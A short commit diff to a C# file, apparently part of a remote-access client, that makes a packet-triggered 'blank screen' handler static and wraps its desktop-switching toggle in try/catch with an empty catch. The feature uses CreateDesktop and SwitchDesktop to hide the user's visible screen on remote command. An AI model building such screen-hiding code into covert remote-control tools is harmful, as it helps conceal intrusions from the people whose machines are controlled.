Update HandleBlankScreen.cs
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526cf5de0f
commit
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@ -6,7 +6,7 @@ using System.Text;
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namespace Client.Handle_Packet
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namespace Client.Handle_Packet
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{
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{
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class HandleBlankScreen
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public static class HandleBlankScreen
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{
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{
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[DllImport("user32.dll")]
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[DllImport("user32.dll")]
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public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
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public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
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@ -52,20 +52,23 @@ namespace Client.Handle_Packet
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public static bool switcher = false; //the screen is not blanked be default so this should be false
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public static bool switcher = false; //the screen is not blanked be default so this should be false
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public static void RunBlankScreen()
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public static void RunBlankScreen()
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{
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{
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//light switch logic CopyPasta by MrDevBot
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try
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if (switcher == false) //The current screen is NOT blanked and needs to be
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{
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{
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SwitchDesktop(hNewDesktop);
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//light switch logic CopyPasta by MrDevBot
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switcher = true; //sets the switch to on for next click
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if (switcher == false) //The current screen is NOT blanked and needs to be
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return; //returns to calling function
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{
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}
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SwitchDesktop(hNewDesktop);
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else //the screen is blanked and should be switched back to old
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switcher = true; //sets the switch to on for next click
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{
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return; //returns to calling function
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SwitchDesktop(hOldDesktop);
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}
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switcher = false; //sets the switch to off for next click
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else //the screen is blanked and should be switched back to old
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return; //returns to calling function
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{
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SwitchDesktop(hOldDesktop);
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switcher = false; //sets the switch to off for next click
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return; //returns to calling function
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}
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}
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}
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catch { }
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}
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}
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}
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}
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}
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}
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